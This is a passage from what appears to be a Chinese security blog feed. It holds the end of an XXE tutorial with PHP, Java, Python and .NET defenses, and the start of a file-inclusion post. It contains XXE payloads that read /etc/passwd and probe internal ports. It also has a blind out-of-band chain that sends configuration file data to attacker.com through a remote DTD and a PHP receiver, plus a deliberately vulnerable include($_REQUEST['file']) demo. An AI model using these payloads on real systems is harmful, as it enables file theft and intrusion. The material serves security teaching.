<table><thead><tr><th>声明</th><th>含义</th></tr></thead><tbody><tr><td><code>&lt;!DOCTYPE note&gt;</code></td><td>此文档是 <code>note</code> 类型</td></tr><tr><td><code>&lt;!ELEMENT note (to,from,heading,body)&gt;</code></td><td>note 包含 4 个子元素</td></tr><tr><td><code>&lt;!ELEMENT to (#PCDATA)&gt;</code></td><td>to 元素为 PCDATA 类型</td></tr></tbody></table></section><section><h3>3.3 PCDATA vs CDATA<a href="#33-pcdata-vs-cdata"><span>#</span></a></h3>

<table><thead><tr><th>类型</th><th>说明</th></tr></thead><tbody><tr><td><strong>PCDATA</strong></td><td>会被解析器<strong>解析</strong>的文本（检查实体和标记）</td></tr><tr><td><strong>CDATA</strong></td><td><strong>不会</strong>被解析器解析的文本</td></tr></tbody></table></section><section><h3>3.4 外部 DTD<a href="#34-外部-dtd"><span>#</span></a></h3><p>DTD 位于 XML 源文件外部：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;!</span><span>DOCTYPE</span><span> </span><span>root-element</span><span> SYSTEM "filename"&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>note.dtd：</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;!ELEMENT note (to,from,heading,body)&gt;</span></div></div><div><div><div>2</div></div><div><span>&lt;!ELEMENT to (#PCDATA)&gt;</span></div></div><div><div><div>3</div></div><div><span>&lt;!ELEMENT from (#PCDATA)&gt;</span></div></div><div><div><div>4</div></div><div><span>&lt;!ELEMENT heading (#PCDATA)&gt;</span></div></div><div><div><div>5</div></div><div><span>&lt;!ELEMENT body (#PCDATA)&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>XML 引用：</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;?</span><span>xml</span><span> version</span><span>=</span><span>"1.0"</span><span> encoding</span><span>=</span><span>"utf-8"</span><span>?&gt;</span></div></div><div><div><div>2</div></div><div><span>&lt;!</span><span>DOCTYPE</span><span> </span><span>note</span><span> SYSTEM "note.dtd"&gt;</span></div></div><div><div><div>3</div></div><div><span>&lt;</span><span>note</span><span>&gt;</span></div></div><div><div><div>4</div></div><div><span><span>    </span></span><span>&lt;</span><span>to</span><span>&gt;周瑜&lt;/</span><span>to</span><span>&gt;</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>&lt;</span><span>from</span><span>&gt;黄盖&lt;/</span><span>from</span><span>&gt;</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>&lt;</span><span>heading</span><span>&gt;提示&lt;/</span><span>heading</span><span>&gt;</span></div></div><div><div><div>7</div></div><div><span><span>    </span></span><span>&lt;</span><span>body</span><span>&gt;老子不服输&lt;/</span><span>body</span><span>&gt;</span></div></div><div><div><div>8</div></div><div><span>&lt;/</span><span>note</span><span>&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section>
<section><h2>四、DTD 实体<a href="#四dtd-实体"><span>#</span></a></h2><section><h3>4.1 内部实体<a href="#41-内部实体"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;!ENTITY entity-name "entity-value"&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>示例：</strong></p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;?</span><span>xml</span><span> version</span><span>=</span><span>"1.0"</span><span> encoding</span><span>=</span><span>"UTF-8"</span><span>?&gt;</span></div></div><div><div><div>2</div></div><div><span>&lt;!</span><span>DOCTYPE</span><span> </span><span>stu</span><span><span> </span><span>[</span></span></div></div><div><div><div>3</div></div><div><span><span>    </span></span><span>&lt;!ELEMENT stu (name, age, address)&gt;</span></div></div><div><div><div>4</div></div><div><span><span>    </span></span><span>&lt;!ELEMENT name (#PCDATA)&gt;</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>&lt;!ELEMENT age (#PCDATA)&gt;</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>&lt;!ELEMENT address (#PCDATA)&gt;</span></div></div><div><div><div>7</div></div><div><span><span>    </span></span><span>&lt;!</span><span>ENTITY</span><span> </span><span>name</span><span> </span><span>"亚瑟"</span><span>&gt;</span></div></div><div><div><div>8</div></div><div><span><span>    </span></span><span>&lt;!</span><span>ENTITY</span><span> </span><span>age</span><span> </span><span>"18"</span><span>&gt;</span></div></div><div><div><div>9</div></div><div><span><span>    </span></span><span>&lt;!</span><span>ENTITY</span><span> </span><span>address</span><span> </span><span>"对抗路"</span><span>&gt;</span></div></div><div><div><div>10</div></div><div><span><span>]</span><span>&gt;</span></span></div></div><div><div><div>11</div></div><div><span>&lt;</span><span>stu</span><span>&gt;</span></div></div><div><div><div>12</div></div><div><span><span>    </span></span><span>&lt;</span><span>name</span><span>&gt;</span><span><span>&amp;</span><span>name</span><span>;</span></span><span>&lt;/</span><span>name</span><span>&gt;</span></div></div><div><div><div>13</div></div><div><span><span>    </span></span><span>&lt;</span><span>age</span><span>&gt;</span><span><span>&amp;</span><span>age</span><span>;</span></span><span>&lt;/</span><span>age</span><span>&gt;</span></div></div><div><div><div>14</div></div><div><span><span>    </span></span><span>&lt;</span><span>address</span><span>&gt;</span><span><span>&amp;</span><span>address</span><span>;</span></span><span>&lt;/</span><span>address</span><span>&gt;</span></div></div><div><div><div>15</div></div><div><span>&lt;/</span><span>stu</span><span>&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>💡 实体由三部分构成：<strong>&amp;</strong> + <strong>实体名称</strong> + <strong>分号（;）</strong></p></section><section><h3>4.2 外部实体（XXE 漏洞核心）<a href="#42-外部实体xxe-漏洞核心"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;!ENTITY entity-name SYSTEM "URI/URL"&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>示例：</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;?</span><span>xml</span><span> version</span><span>=</span><span>"1.0"</span><span> encoding</span><span>=</span><span>"UTF-8"</span><span>?&gt;</span></div></div><div><div><div>2</div></div><div><span>&lt;!</span><span>DOCTYPE</span><span> </span><span>root</span><span>[</span></div></div><div><div><div>3</div></div><div><span><span>    </span></span><span>&lt;!</span><span>ENTITY</span><span> </span><span>name</span><span> SYSTEM </span><span>"file:///D:/www/xxe/data.txt"</span><span>&gt;</span></div></div><div><div><div>4</div></div><div><span><span>]</span><span>&gt;</span></span></div></div><div><div><div>5</div></div><div><span>&lt;</span><span>root</span><span>&gt;</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>&lt;</span><span>username</span><span>&gt;</span><span><span>&amp;</span><span>name</span><span>;</span></span><span>&lt;/</span><span>username</span><span>&gt;</span></div></div><div><div><div>7</div></div><div><span>&lt;/</span><span>root</span><span>&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>4.3 参数实体<a href="#43-参数实体"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;!ENTITY % 实体名称 "实体的值"&gt;</span></div></div><div><div><div>2</div></div><div><span>&lt;!-- 或 --&gt;</span></div></div><div><div><div>3</div></div><div><span>&lt;!ENTITY % 实体名称 SYSTEM "URI"&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>示例：</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;?</span><span>xml</span><span> version</span><span>=</span><span>"1.0"</span><span> encoding</span><span>=</span><span>"UTF-8"</span><span>?&gt;</span></div></div><div><div><div>2</div></div><div><span>&lt;!</span><span>DOCTYPE</span><span> </span><span>root</span><span><span> </span><span>[</span></span></div></div><div><div><div>3</div></div><div><span><span>    </span></span><span>&lt;!</span><span>ENTITY</span><span> % </span><span>name</span><span> SYSTEM </span><span>"http://localhost/xxe/test2.php"</span><span>&gt;</span></div></div><div><div><div>4</div></div><div><span>    </span><span>%name;</span></div></div><div><div><div>5</div></div><div><span><span>]</span><span>&gt;</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>⚠️ <strong>注意：</strong> <code>%</code> 和实体名称之间有一个空格！
参数实体<strong>只能在 DTD 文件中被引用</strong>，其他实体在 XML 文档内引用。</p><hr /></section></section>
<section><h2>五、XXE 原理<a href="#五xxe-原理"><span>#</span></a></h2><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>攻击者构造恶意 XML → 提交到服务器 → 服务器解析 XML →</span></div></div><div><div><div>2</div></div><div><span>执行恶意实体引用 → 读取文件/探测内网/发起请求 → 返回结果</span></div></div></code></pre><div><div></div><div></div></div></figure></div><section><h3>5.1 核心危险点<a href="#51-核心危险点"><span>#</span></a></h3><ul>
<li>XML 解析器<strong>启用了外部实体解析</strong></li>
<li>用户输入的 XML 数据<strong>未被过滤</strong></li>
<li>攻击者可以控制 <code>&lt;!ENTITY&gt;</code> 中的 <code>SYSTEM</code> 内容</li>
</ul><hr /></section></section>
<section><h2>六、XXE 利用方式<a href="#六xxe-利用方式"><span>#</span></a></h2><section><h3>6.1 支持的协议<a href="#61-支持的协议"><span>#</span></a></h3>

<table><thead><tr><th>语言</th><th>支持的协议</th></tr></thead><tbody><tr><td><strong>libxml2</strong></td><td>file、http、ftp</td></tr><tr><td><strong>PHP</strong></td><td>file、http、ftp、php、compress.zlib、compress.bzip2、data、glob、phar</td></tr><tr><td><strong>Java</strong></td><td>file、http、https、ftp、jar、netdoc、mailto、gopher</td></tr><tr><td><strong>.NET</strong></td><td>file、http、https、ftp</td></tr></tbody></table></section><section><h3>6.2 文件读取<a href="#62-文件读取"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;?</span><span>xml</span><span> version</span><span>=</span><span>"1.0"</span><span> encoding</span><span>=</span><span>"UTF-8"</span><span>?&gt;</span></div></div><div><div><div>2</div></div><div><span>&lt;!</span><span>DOCTYPE</span><span> </span><span>ANY</span><span><span> </span><span>[</span></span></div></div><div><div><div>3</div></div><div><span><span>    </span></span><span>&lt;!</span><span>ENTITY</span><span> </span><span>xxe</span><span> SYSTEM </span><span>"file:///etc/passwd"</span><span>&gt;</span></div></div><div><div><div>4</div></div><div><span><span>]</span><span>&gt;</span></span></div></div><div><div><div>5</div></div><div><span>&lt;</span><span>x</span><span>&gt;</span><span><span>&amp;</span><span>xxe</span><span>;</span></span><span>&lt;/</span><span>x</span><span>&gt;</span></div></div><div><div><div>6</div></div><div><span>&lt;!-- Windows --&gt;</span></div></div><div><div><div>7</div></div><div><span>&lt;!ENTITY xxe SYSTEM "file:///C:/windows/win.ini"&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>6.3 内网探测（XXE + SSRF）<a href="#63-内网探测xxe--ssrf"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;!ENTITY xxe SYSTEM "http://127.0.0.1:3306"&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>根据响应判断端口是否开放。</p></section><section><h3>6.4 引入外部 DTD<a href="#64-引入外部-dtd"><span>#</span></a></h3><p><strong>目标服务器 Payload：</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;?</span><span>xml</span><span> version</span><span>=</span><span>"1.0"</span><span> encoding</span><span>=</span><span>"UTF-8"</span><span>?&gt;</span></div></div><div><div><div>2</div></div><div><span>&lt;!</span><span>DOCTYPE</span><span> </span><span>ANY</span><span><span> </span><span>[</span></span></div></div><div><div><div>3</div></div><div><span><span>    </span></span><span>&lt;!</span><span>ENTITY</span><span> % </span><span>file</span><span> SYSTEM </span><span>"http://attacker.com/test.dtd"</span><span>&gt;</span></div></div><div><div><div>4</div></div><div><span>    </span><span>%file;</span></div></div><div><div><div>5</div></div><div><span><span>]</span><span>&gt;</span></span></div></div><div><div><div>6</div></div><div><span>&lt;</span><span>x</span><span>&gt;</span><span><span>&amp;</span><span>send</span><span>;</span></span><span>&lt;/</span><span>x</span><span>&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>外部 test.dtd：</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;!ENTITY send SYSTEM "file:///etc/passwd"&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>6.5 DNSLog 检测<a href="#65-dnslog-检测"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;?</span><span>xml</span><span> version</span><span>=</span><span>"1.0"</span><span> encoding</span><span>=</span><span>"UTF-8"</span><span>?&gt;</span></div></div><div><div><div>2</div></div><div><span>&lt;!</span><span>DOCTYPE</span><span> </span><span>ANY</span><span><span> </span><span>[</span></span></div></div><div><div><div>3</div></div><div><span><span>    </span></span><span>&lt;!</span><span>ENTITY</span><span> </span><span>xxe</span><span> SYSTEM </span><span>"http://your.dnslog.domain"</span><span>&gt;</span></div></div><div><div><div>4</div></div><div><span><span>]</span><span>&gt;</span></span></div></div><div><div><div>5</div></div><div><span>&lt;</span><span>x</span><span>&gt;</span><span><span>&amp;</span><span>xxe</span><span>;</span></span><span>&lt;/</span><span>x</span><span>&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>6.6 盲注（无回显）数据外带<a href="#66-盲注无回显数据外带"><span>#</span></a></h3><section><h4>攻击流程<a href="#攻击流程"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1. 准备参数实体 %file → 读取敏感数据（仅声明，未加载）</span></div></div><div><div><div>2</div></div><div><span>2. 准备参数实体 %dtd → 请求远程 remote.dtd（仅声明，未加载）</span></div></div><div><div><div>3</div></div><div><span>3. 加载 %dtd → 将 remote.dtd 中的实体包含进来</span></div></div><div><div><div>4</div></div><div><span>4. 加载 %send → 请求 http://attacker.com/xxe.php?data=%file</span></div></div><div><div><div>5</div></div><div><span>5. %file 被解析 → 数据拼接到 URL 中</span></div></div><div><div><div>6</div></div><div><span>6. 数据到达攻击者服务器</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>攻击者服务器文件<a href="#攻击者服务器文件"><span>#</span></a></h4><p><strong>remote.dtd：</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;!ENTITY % payload "&lt;!ENTITY </span><span><span>&amp;</span><span>#x25</span><span>;</span></span><span> send SYSTEM 'http://attacker.com/xxe.php?data=%file;'&gt;"&gt;</span></div></div><div><div><div>2</div></div><div><span>%payload;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>xxe.php：</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>&lt;</span><span>?</span></span><span>php</span></div></div><div><div><div>2</div></div><div><span>file_put_contents</span><span>(</span><span>'1.txt'</span><span><span>,</span><span> </span></span><span>$_GET</span><span>[</span><span>'data'</span><span>]);</span></div></div><div><div><div>3</div></div><div><span><span>?</span><span>&gt;</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>目标服务器 Payload：<a href="#目标服务器-payload"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;?</span><span>xml</span><span> version</span><span>=</span><span>"1.0"</span><span>?&gt;</span></div></div><div><div><div>2</div></div><div><span>&lt;!</span><span>DOCTYPE</span><span> </span><span>test</span><span><span> </span><span>[</span></span></div></div><div><div><div>3</div></div><div><span><span>    </span></span><span>&lt;!</span><span>ENTITY</span><span> % </span><span>file</span><span> SYSTEM </span><span>"php://filter/read=convert.base64-encode/resource=/var/www/html/inc/config.inc.php"</span><span>&gt;</span></div></div><div><div><div>4</div></div><div><span><span>    </span></span><span>&lt;!</span><span>ENTITY</span><span> % </span><span>dtd</span><span> SYSTEM </span><span>"http://attacker.com/remote.dtd"</span><span>&gt;</span></div></div><div><div><div>5</div></div><div><span>    </span><span>%dtd;</span></div></div><div><div><div>6</div></div><div><span>    </span><span>%send;</span></div></div><div><div><div>7</div></div><div><span><span>]</span><span>&gt;</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section></section>
<section><h2>七、Pikachu 靶场实战<a href="#七pikachu-靶场实战"><span>#</span></a></h2><section><h3>7.1 文件读取<a href="#71-文件读取"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>POST /xxe/xxe.php</span></div></div><div><div><div>2</div></div><div><span>Content-Type: application/xml</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span>&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span></div></div><div><div><div>5</div></div><div><span>&lt;!DOCTYPE ANY [</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>&lt;!ENTITY xxe SYSTEM "file:///etc/passwd"&gt;</span></div></div><div><div><div>7</div></div><div><span>]&gt;</span></div></div><div><div><div>8</div></div><div><span>&lt;x&gt;&amp;xxe;&lt;/x&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>7.2 内网探测<a href="#72-内网探测"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;!ENTITY xxe SYSTEM "http://127.0.0.1:3306"&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>7.3 引入外部 DTD<a href="#73-引入外部-dtd"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;?</span><span>xml</span><span> version</span><span>=</span><span>"1.0"</span><span> encoding</span><span>=</span><span>"UTF-8"</span><span>?&gt;</span></div></div><div><div><div>2</div></div><div><span>&lt;!</span><span>DOCTYPE</span><span> </span><span>ANY</span><span><span> </span><span>[</span></span></div></div><div><div><div>3</div></div><div><span><span>    </span></span><span>&lt;!</span><span>ENTITY</span><span> % </span><span>file</span><span> SYSTEM </span><span>"http://attacker.com/test.dtd"</span><span>&gt;</span></div></div><div><div><div>4</div></div><div><span>    </span><span>%file;</span></div></div><div><div><div>5</div></div><div><span><span>]</span><span>&gt;</span></span></div></div><div><div><div>6</div></div><div><span>&lt;</span><span>x</span><span>&gt;</span><span><span>&amp;</span><span>send</span><span>;</span></span><span>&lt;/</span><span>x</span><span>&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section>
<section><h2>八、XXE 防御<a href="#八xxe-防御"><span>#</span></a></h2><section><h3>8.1 禁用外部实体（PHP）<a href="#81-禁用外部实体php"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>// 禁用外部实体加载（核心防御）</span></div></div><div><div><div>2</div></div><div><span>libxml_disable_entity_loader</span><span>(</span><span>true</span><span>);</span></div></div><div><div><div>3</div></div><div><span>// 解析 XML 时指定安全选项</span></div></div><div><div><div>4</div></div><div><span>$xml</span><span><span> </span><span>=</span><span> </span></span><span>simplexml_load_string</span><span>(</span><span>$data</span><span><span>,</span><span> </span></span><span>"SimpleXMLElement"</span><span><span>,</span><span> </span></span><span>LIBXML_NOENT</span><span><span> </span><span>|</span><span> </span></span><span>LIBXML_DTDLOAD</span><span>);</span></div></div><div><div><div>5</div></div><div><span>// 修改为：</span></div></div><div><div><div>6</div></div><div><span>$xml</span><span><span> </span><span>=</span><span> </span></span><span>simplexml_load_string</span><span>(</span><span>$data</span><span><span>,</span><span> </span></span><span>"SimpleXMLElement"</span><span><span>,</span><span> </span></span><span>LIBXML_NONET</span><span>);</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>8.2 过滤用户输入的 XML<a href="#82-过滤用户输入的-xml"><span>#</span></a></h3><p>过滤关键词：</p>

<table><thead><tr><th>关键词</th><th>说明</th></tr></thead><tbody><tr><td><code>&lt;!DOCTYPE</code></td><td>DTD 声明</td></tr><tr><td><code>&lt;!ENTITY</code></td><td>实体声明</td></tr><tr><td><code>SYSTEM</code></td><td>外部实体关键字</td></tr><tr><td><code>PUBLIC</code></td><td>公共实体关键字</td></tr><tr><td><code>file://</code></td><td>文件协议</td></tr><tr><td><code>http://</code></td><td>HTTP 协议</td></tr></tbody></table></section><section><h3>8.3 安全配置<a href="#83-安全配置"><span>#</span></a></h3>

<table><thead><tr><th>语言</th><th>防御方法</th></tr></thead><tbody><tr><td><strong>PHP</strong></td><td><code>libxml_disable_entity_loader(true)</code></td></tr><tr><td><strong>Java</strong></td><td>禁用外部实体：<code>factory.setFeature("http://xml.org/sax/features/external-general-entities", false)</code></td></tr><tr><td><strong>Python</strong></td><td><code>lxml.etree.XMLParser(resolve_entities=False)</code></td></tr><tr><td><strong>.NET</strong></td><td>设置 <code>XmlReaderSettings.ProhibitDtd = true</code></td></tr></tbody></table><hr /></section></section>
<section><h2>📌 快速参考卡片<a href="#-快速参考卡片"><span>#</span></a></h2><section><h3>XML 基本结构<a href="#xml-基本结构"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;?</span><span>xml</span><span> version</span><span>=</span><span>"1.0"</span><span> encoding</span><span>=</span><span>"UTF-8"</span><span>?&gt;</span></div></div><div><div><div>2</div></div><div><span>&lt;!</span><span>DOCTYPE</span><span> </span><span>root</span><span><span> </span><span>[</span><span>          </span></span><span>&lt;!-- DTD 定义（可选） --&gt;</span></div></div><div><div><div>3</div></div><div><span><span>    </span></span><span>&lt;!ELEMENT root (child)&gt;</span></div></div><div><div><div>4</div></div><div><span><span>    </span></span><span>&lt;!</span><span>ENTITY</span><span> </span><span>name</span><span> </span><span>"value"</span><span>&gt;</span></div></div><div><div><div>5</div></div><div><span><span>]</span><span>&gt;</span></span></div></div><div><div><div>6</div></div><div><span>&lt;</span><span>root</span><span>&gt;                    </span><span>&lt;!-- 根元素 --&gt;</span></div></div><div><div><div>7</div></div><div><span><span>    </span></span><span>&lt;</span><span>child</span><span>&gt;</span><span><span>&amp;</span><span>name</span><span>;</span></span><span>&lt;/</span><span>child</span><span>&gt; </span><span>&lt;!-- 引用实体 --&gt;</span></div></div><div><div><div>8</div></div><div><span>&lt;/</span><span>root</span><span>&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>XXE Payload 速查<a href="#xxe-payload-速查"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;!-- 读取文件 --&gt;</span></div></div><div><div><div>2</div></div><div><span>&lt;!ENTITY xxe SYSTEM "file:///etc/passwd"&gt;</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span>&lt;!-- 内网探测 --&gt;</span></div></div><div><div><div>5</div></div><div><span>&lt;!ENTITY xxe SYSTEM "http://127.0.0.1:3306"&gt;</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span>&lt;!-- DNSLog 检测 --&gt;</span></div></div><div><div><div>8</div></div><div><span>&lt;!ENTITY xxe SYSTEM "http://your.dnslog.domain"&gt;</span></div></div><div><div><div>9</div></div><div>
</div></div><div><div><div>10</div></div><div><span>&lt;!-- 外部 DTD --&gt;</span></div></div><div><div><div>11</div></div><div><span>&lt;!ENTITY % file SYSTEM "http://attacker.com/test.dtd"&gt;</span></div></div><div><div><div>12</div></div><div>
</div></div><div><div><div>13</div></div><div><span>&lt;!-- PHP 伪协议读文件（盲注常用） --&gt;</span></div></div><div><div><div>14</div></div><div><span>&lt;!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>防御速查<a href="#防御速查"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>// PHP 核心防御</span></div></div><div><div><div>2</div></div><div><span>libxml_disable_entity_loader</span><span>(</span><span>true</span><span>);</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span>// 解析时禁用网络</span></div></div><div><div><div>5</div></div><div><span>simplexml_load_string</span><span>(</span><span>$xml</span><span><span>,</span><span> </span></span><span>"SimpleXMLElement"</span><span><span>,</span><span> </span></span><span>LIBXML_NONET</span><span>);</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>XXE 盲注数据外带流程<a href="#xxe-盲注数据外带流程"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>目标服务器：</span></div></div><div><div><div>2</div></div><div><span><span>  </span></span><span>1. %file = 读取敏感数据</span></div></div><div><div><div>3</div></div><div><span><span>  </span></span><span>2. %dtd = 加载远程 remote.dtd</span></div></div><div><div><div>4</div></div><div><span><span>  </span></span><span>3. %send = 发送数据到攻击者服务器</span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span>攻击者服务器：</span></div></div><div><div><div>7</div></div><div><span><span>  </span></span><span>remote.dtd → 构造带 %file 的请求</span></div></div><div><div><div>8</div></div><div><span><span>  </span></span><span>xxe.php → 接收并保存数据</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.emberlag.com/posts/file-inclusion-vulnerability/</id>
      <title type="text">文件包含漏洞</title>
      <published>2026-09-21T15:15:00.000Z</published>
      <updated>2026-09-21T15:15:00.000Z</updated>
      <author><name>3mb3rl4g</name></author>
      <link rel="alternate" href="https://blog.emberlag.com/posts/file-inclusion-vulnerability/"/>
      <summary type="text">本地/远程文件包含的利用方式、PHP 伪协议与敏感文件路径，以及挖掘与防御方法。</summary>
      <content type="html"><![CDATA[<section><h2>一、文件包含漏洞概述<a href="#一文件包含漏洞概述"><span>#</span></a></h2><section><h3>1.1 什么是文件包含漏洞？<a href="#11-什么是文件包含漏洞"><span>#</span></a></h3><p>后端程序在包含文件的功能中，如果<strong>被包含的文件路径可被攻击者控制</strong>，导致攻击者提供的文件中的动态脚本代码被执行。</p></section><section><h3>1.2 漏洞原理<a href="#12-漏洞原理"><span>#</span></a></h3><ul>
<li>程序使用了 <code>include</code>、<code>require</code> 等文件包含函数</li>
<li>包含的文件路径来自用户输入（如 <code>?file=xxx</code>）</li>
<li>服务器未对用户输入进行严格过滤</li>
<li>攻击者可以包含恶意文件 → 代码执行</li>
</ul></section><section><h3>1.3 漏洞危害<a href="#13-漏洞危害"><span>#</span></a></h3>

<table><thead><tr><th>危害</th><th>说明</th></tr></thead><tbody><tr><td><strong>信息泄露</strong></td><td>读取系统敏感文件</td></tr><tr><td><strong>代码执行</strong></td><td>包含恶意代码获取 Shell</td></tr><tr><td><strong>GetShell</strong></td><td>配合文件上传或远程文件包含</td></tr></tbody></table><hr /></section></section>
<section><h2>二、漏洞分类<a href="#二漏洞分类"><span>#</span></a></h2>

<table><thead><tr><th>类型</th><th>英文</th><th>说明</th></tr></thead><tbody><tr><td><strong>本地文件包含</strong></td><td>LFI (Local File Inclusion)</td><td>包含服务器本地的文件</td></tr><tr><td><strong>远程文件包含</strong></td><td>RFI (Remote File Inclusion)</td><td>包含远程服务器上的文件（需开启 <code>allow_url_include</code>）</td></tr></tbody></table><hr /></section>
<section><h2>三、文件包含函数<a href="#三文件包含函数"><span>#</span></a></h2><section><h3>3.1 函数对比<a href="#31-函数对比"><span>#</span></a></h3>

<table><thead><tr><th>函数</th><th>文件不存在时</th><th>文件已包含过</th><th>特点</th></tr></thead><tbody><tr><td><code>include()</code></td><td><strong>警告</strong>，继续执行</td><td>再次包含</td><td>出错后脚本继续运行</td></tr><tr><td><code>require()</code></td><td><strong>致命错误</strong>，停止执行</td><td>再次包含</td><td>出错后脚本终止</td></tr><tr><td><code>include_once()</code></td><td><strong>警告</strong>，继续执行</td><td><strong>不重复包含</strong></td><td>防止重复包含</td></tr><tr><td><code>require_once()</code></td><td><strong>致命错误</strong>，停止执行</td><td><strong>不重复包含</strong></td><td>防止重复包含</td></tr></tbody></table></section><section><h3>3.2 错误行为对比<a href="#32-错误行为对比"><span>#</span></a></h3>

<table><thead><tr><th>情况</th><th>include</th><th>require</th></tr></thead><tbody><tr><td>被包含文件不存在</td><td>前段正常执行，后段继续</td><td>仅前段执行，后段停止</td></tr><tr><td>被包含文件存在但有错误</td><td>仅前段执行</td><td>仅前段执行</td></tr></tbody></table><hr /></section></section>
<section><h2>四、本地文件包含（LFI）<a href="#四本地文件包含lfi"><span>#</span></a></h2><section><h3>4.1 漏洞代码示例<a href="#41-漏洞代码示例"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>&lt;</span><span>?</span></span><span>php</span></div></div><div><div><div>2</div></div><div><span>echo</span><span> </span><span>"&lt;h1&gt;文件包含demo&lt;/h1&gt;&lt;br&gt;"</span><span>;</span></div></div><div><div><div>3</div></div><div><span>include</span><span>(</span><span>$_REQUEST</span><span>[</span><span>'file'</span><span>]);</span></div></div><div><div><div>4</div></div><div><span><span>?</span><span>&gt;</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>访问：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>http://target.com/include_demo.php?file=test.txt</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>如果 <code>test.txt</code> 中包含 PHP 代码，该代码会被执行。</p></section><section><h3>4.2 什么情况下 PHP 代码会执行？<a href="#42-什么情况下-php-代码会执行"><span>#</span></a></h3><p>✅ <strong>结论：被包含文件中的 PHP 代码一定会被执行，与文件后缀名无关！</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>test.txt 